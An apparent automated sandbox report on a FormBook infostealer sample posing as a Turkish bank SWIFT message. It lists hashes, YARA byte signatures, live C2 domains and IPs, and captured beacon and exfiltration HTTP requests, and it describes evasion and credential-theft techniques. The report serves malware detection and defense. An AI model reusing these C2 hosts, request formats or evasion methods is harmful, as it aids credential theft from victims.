Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Ziraat Bankasi Swift Mesaji20221129-34221.exe

Overview

General Information

Sample Name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
Analysis ID:755920
MD5:6a0ff43510923c27b144bf86b5e0a867
SHA1:880c264f12ea2175a81f7030dec9c7043093253f
SHA256:52426e75e25f69d9d7a8121464fe16a213ab48519ae10b2e2fc028ce86794a8b
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
Injects a PE file into a foreign processes
.NET source code contains method to dynamically call methods (often used by packers)
Queues an APC in another process (thread injection)
Deletes itself after installation
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.erwgcb.top/qmpa/"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x6611:$a1: 3C 30 50 4F 53 54 74 09 40
    • 0x1f040:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0xa8af:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    • 0x17de7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x17be5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x17691:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x17ce7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x17e5f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xa47a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x168dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x1ddb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1edaa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x1a0b9:$sqlite3step: 68 34 1C 7B E1
    • 0x1ac31:$sqlite3step: 68 34 1C 7B E1
    • 0x1a0fb:$sqlite3text: 68 38 2A 90 C5
    • 0x1ac76:$sqlite3text: 68 38 2A 90 C5
    • 0x1a112:$sqlite3blob: 68 53 D8 7F 8C
    • 0x1ac8c:$sqlite3blob: 68 53 D8 7F 8C
    0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      Click to see the 25 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpackJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
        2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpackINDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPasteDetects executables potentially checking for WinJail sandbox windowditekSHen
        • 0xa79e:$v1: SbieDll.dll
        • 0xa7b8:$v2: USER
        • 0xa7c4:$v3: SANDBOX
        • 0xa7d6:$v4: VIRUS
        • 0xa826:$v4: VIRUS
        • 0xa7e4:$v5: MALWARE
        • 0xa7f6:$v6: SCHMIDTI
        • 0xa80a:$v7: CURRENTUSER
        2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpackJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
          2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPasteDetects executables potentially checking for WinJail sandbox windowditekSHen
          • 0x261c6:$v1: SbieDll.dll
          • 0x261e0:$v2: USER
          • 0x261ec:$v3: SANDBOX
          • 0x261fe:$v4: VIRUS
          • 0x2624e:$v4: VIRUS
          • 0x2620c:$v5: MALWARE
          • 0x2621e:$v6: SCHMIDTI
          • 0x26232:$v7: CURRENTUSER

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          ⊘No Snort rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for submitted file
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeVirustotal: Detection: 44%Perma Link
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeReversingLabs: Detection: 39%
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Antivirus detection for URL or domain
          Source: http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8KAvira URL Cloud: Label: malware
          Source: http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8KAvira URL Cloud: Label: malware
          Source: http://www.oaksinstitute.net/qmpa/Avira URL Cloud: Label: malware
          Source: http://www.multimediapages.com/qmpa/Avira URL Cloud: Label: malware
          Machine Learning detection for sample
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeJoe Sandbox ML: detected
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.erwgcb.top/qmpa/"]}
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: wntdll.pdbUGP source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: bqbz.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe

          Networking

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeDomain query: www.notarpucarhr.com
          Source: C:\Windows\explorer.exeDomain query: www.oaksinstitute.net
          Source: C:\Windows\explorer.exeNetwork Connect: 103.11.189.189 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.multimediapages.com
          Source: C:\Windows\explorer.exeNetwork Connect: 141.136.43.229 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 38.239.92.131 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.erwgcb.top/qmpa/
          Source: Joe Sandbox ViewASN Name: VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG
          Source: Joe Sandbox ViewASN Name: SENDER-ASLT SENDER-ASLT
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.notarpucarhr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.multimediapages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.oaksinstitute.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 103.11.189.189 103.11.189.189
          Source: global trafficHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.multimediapages.comConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.multimediapages.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.multimediapages.com/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 6d 63 4c 7a 7a 6c 6c 51 57 77 75 6a 4d 66 4c 6f 52 70 77 35 65 38 31 69 78 38 6d 58 62 51 5a 4c 73 6e 4b 42 38 44 67 6b 55 49 61 68 7a 49 4e 62 6e 6d 30 59 79 36 4e 37 54 33 76 33 72 6d 6a 76 4f 51 46 68 31 6d 33 6f 76 73 4f 62 52 57 69 70 78 6d 37 42 4a 65 6d 4c 79 44 61 4f 34 47 6a 5a 70 43 75 66 75 35 76 6e 6c 6f 37 78 30 70 79 2d 46 48 63 41 49 30 37 47 71 70 72 4a 54 36 4c 38 55 5f 45 6e 51 5f 28 48 66 38 64 59 50 71 62 30 78 31 7e 62 55 79 6f 4b 33 4e 37 6e 65 30 72 50 59 77 58 4c 45 4f 6b 50 39 51 71 56 47 51 6c 44 6f 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=mcLzzllQWwujMfLoRpw5e81ix8mXbQZLsnKB8DgkUIahzINbnm0Yy6N7T3v3rmjvOQFh1m3ovsObRWipxm7BJemLyDaO4GjZpCufu5vnlo7x0py-FHcAI07GqprJT6L8U_EnQ_(Hf8dYPqb0x1~bUyoK3N7ne0rPYwXLEOkP9QqVGQlDow).
          Source: global trafficHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.oaksinstitute.netConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.oaksinstitute.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.oaksinstitute.net/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 30 61 48 4d 32 53 52 43 32 57 74 51 34 71 63 70 31 61 68 6c 38 43 63 78 6f 4f 6a 79 36 71 30 6a 28 53 62 46 31 42 42 5a 37 53 32 58 54 6c 79 6e 37 48 64 32 67 63 61 5a 4f 6f 7e 34 36 44 61 42 57 6c 52 4d 54 49 42 67 36 41 41 75 45 43 4b 33 5a 37 36 6e 62 45 53 67 34 30 67 31 35 7a 74 4b 74 6e 7a 76 4e 6f 42 6c 4f 45 53 30 6d 46 45 5a 56 59 47 65 6d 57 70 67 4c 65 42 6a 65 2d 62 39 76 71 50 59 42 50 7e 34 38 4a 48 50 49 6b 69 73 6c 63 62 4f 74 44 6d 64 62 6f 73 59 6a 61 55 64 70 58 71 63 33 32 77 72 35 74 69 53 7a 77 41 50 6b 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=0aHM2SRC2WtQ4qcp1ahl8CcxoOjy6q0j(SbF1BBZ7S2XTlyn7Hd2gcaZOo~46DaBWlRMTIBg6AAuECK3Z76nbESg40g15ztKtnzvNoBlOES0mFEZVYGemWpgLeBje-b9vqPYBP~48JHPIkislcbOtDmdbosYjaUdpXqc32wr5tiSzwAPkw).
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 29 Nov 2022 09:18:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 33 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 54 5b 6f 1a 47 14 7e f7 af 98 ee 93 fd 00 03 8e 23 b9 74 d9 0a 1b 24 23 d9 8d 9b 90 56 7e 24 5c cc b6 c0 a2 65 12 5a 45 91 c0 89 0b 98 8b 89 8d 9d d8 59 9a d8 b2 1b d7 4e 16 47 69 31 e1 52 ff 97 64 67 76 79 f2 5f e8 59 96 52 b9 aa f2 b0 b3 3b 73 ce 9c ef 9c ef 3b 67 f9 2f bc b7 e6 03 2b cb 3e b4 10 58 5a 44 cb 77 e7 16 fd f3 88 b3 61 fc fd 8d 79 8c bd 01 af 65 98 b1 3b 9c 18 fb be e1 10 17 23 24 e5 c2 38 93 c9 d8 33 37 ec 92 bc 8a 03 b7 71 8c 24 e2 33 38 4d 64 31 44 ec 61 12 e6 84 09 de 8c 28 f0 0b 3e 8f 57 e0 03 fe c0 a2 4f 60 6b 27 4c 39 35 0e cf 58 b5 c0 1a 8f d9 cb 63 5d 29 19 cd e3 c1 c1 9f 3c b6 5c 26 f8 25 5f c0 03 a0 81 65 9b ef db bb fe ef dc dc bc 94 24 91 24 b1 05 7e 4e 45 38 34 da b9 39 12 f9 89 0c 71 bf 42 a1 58 50 4e 47 88 fb 3e 89 da 66 4d e8 3b 81 95 45 1f 22 70 61 e4 17 4a a7 e1 1c a1 b9 5b de 15 f4 10 45 21 a4 0b 7d 99 22 d8 39 9d 22 88 aa 25 ad bf 8d 1e 81 c3 82 73 6c 36 4d d8 79 f3 3f f6 e9 cf 5e f7 b8 e2 62 f2 47 70 09 49 71 49 76 21 39 12 1e 86 f5 b8 1e 88 69 91 c0 6e 6c 4a 04 65 49 4a 82 95 c7 c3 74 21 6d 6c 91 65 26 09 94 79 e6 a0 86 8c 18 26 31 f7 4d 87 03 dd 93 e4 70 44 76 3b 50 28 12 8f a7 53 c1 90 98 5c 75 3b 1d e0 78 1b 1e 2f 5c 8f 39 3f cf 30 d8 27 40 02 ad 5d a1 eb 17 f4 28 af f5 2f f5 fa 09 2b 66 d9 66 4d fb eb 85 be ff 84 e6 df b2 8a 3a d6 45 7f a1 d2 fe 0e 2b ec 82 40 60 05 c9 06 7b b5 4f d9 35 80 92 01 2f 25 18 cd 0b 7a de 30 9a 3b 5a f7 58 6b 97 d8 76 45 eb 2b 57 bd 7d 1e a7 c0 7e 3f 0e 4b 5c 14 e8 6f 6b ec 57 05 90 0d f5 48 6b 77 8c fc 29 bd 78 47 3b 75 50 de 78 dc a7 47 2f ff 17 70 d0 38 bc ea 95 01 41 6b 57 f5 fe 53 fd 6c 4f 57 0f f4 da 2f f4 e9 73 23 57 d7 df 77 21 11 1e 43 78 0b a3 b2 43 f3 5d 3e 88 62 72 24 ea e6 7e 08 3e 08 a6 43 b2 98 22 ae b8 14 0a 12 51 4a da e5 48 5c 0a 86 27 a7 38 81 16 2e d8 ee 39 8f 83 02 2b 17 07 5b 2a e0 d0 0f 2d 8b 0e ba de d2 ba bb 16 11 83 7c 05 6a fb 17 07 0f 2b 8a 4d 0b 66 7b a2 41 7d cf 68 36 d1 8c c3 69 77 22 1b 82 ce d6 bb 9b 56 67 03 05 86 7a 39 78 a6 ea f5 77 5a a7 3a a2 f5 d9 2b b6 53 30 bb bf b4 a5 77 1b 66 d8 7b b2 e0 87 e6 96 93 11 82 b4 cb 03 96 6b 32 a5 42 37 0e d0 a4 df 7f 67 8a c7 00 35 e6 9a 6d 64 99 d2 b4 bc ae 7a 05 20 d2 3a 61 f5 26 2b e7 b4 4e 07 88 b1 84 bc ea 15 af 0b 60 f4 df d0 c2 39 1a b3 33 1a e1 55 c9 9e 10 43 b2 94 96 a2 c4 1e 92 12 38 9a 31 bb 17 7f 6d ae 62 d8 3d eb 9c 75 70 c2 d2 3f 2e 48 eb bc a6 db 39 0b cf ca d3 a4 10 98 63 35 45 ff e3 90 96 d7 59 e9 cd c7 ac 62 b2 f3 31 db a0 5b 65 d8 00 3d f0 6d 76 cf ab fc e0 f0 f9 35 d1 58 71 9b f6 b2 e0 04 d5 22 da 56 e9 c6 ef e0 0b c5 d1 cd 26 55 4e 90 79 3c 12 7d ef 04 4d 8a 40 53 62 55 9e 42 5a fb ad 45 2f 54 0a da e9 4f 5a b4 56 b5 92 b0 50 80 1c 88 6a 74 ce b4 6e 7f 70 0a 4d 94 83 b8 9f b2 b0 2a d6 45 56 7d 4d 0b ad 71 92 74 fd 3d c8 64
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 29 Nov 2022 09:18:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 35 35 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0a 3c 2f 53 54 59 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0a 3c 68 31 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 68 31 3e 0a e6 82 a8 e4 b8 8d e5 85 b7 e5 a4 87 e4 bd bf e7 94 a8 e6 89 80 e6 8f 90 e4 be 9b e7 9a 84 e5 87 ad e6 8d ae e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e7 9a 84 e6 9d 83 e9 99 90 e3 80 82 0a 3c 68 72 3e 0a 3c 70 3e e8 af b7 e5 b0 9d e8 af 95 e4 bb a5 e4 b8 8b e6 93 8d e4 bd 9c ef bc 9a 3c 2f 70 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e e5 a6 82 e6 9e 9c e6 82 a8 e8 ae a4 e4 b8 ba e8 87 aa e5 b7 b1 e5 ba 94 e8 af a5 e8 83 bd e5 a4 9f e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e9 9d a2 ef bc 8c e8 af b7 e4 b8 8e e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e8 81 94 e7 b3 bb e3 80 82 3c 2f 6c 69 3e 0a 3c 6c 69 3e e5 8d 95 e5 87 bb 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 22 3e e5 88 b7 e6 96 b0 3c 2f 61 3e e6 8c 89 e9 92 ae ef bc 8c e5 b9 b6 e4 bd bf e7 94 a8 e5 85 b6 e4 bb 96 e5 87 ad e6 8d ae e9 87 8d e8 af 95 e3 80 82 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 32 3e 48 54 54 50 20 e9 94 99 e8 af af 20 34 30 31 2e 31 20 2d 20 e6 9c aa e7 bb 8f e6 8e 88 e6 9d 83 ef bc 9a e8 ae bf e9 97 ae e7 94 b1 e4 ba 8e e5 87 ad e6 8d ae e6 97 a0 e6 95 88 e8 a2 ab e6 8b 92 e7 bb 9d e3 80 82 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 e4 bf a1 e6 81 af e6 9c 8d e5 8a a1 20 28 49 49 53 29 3c 2f 68 32 3e
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299768442.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 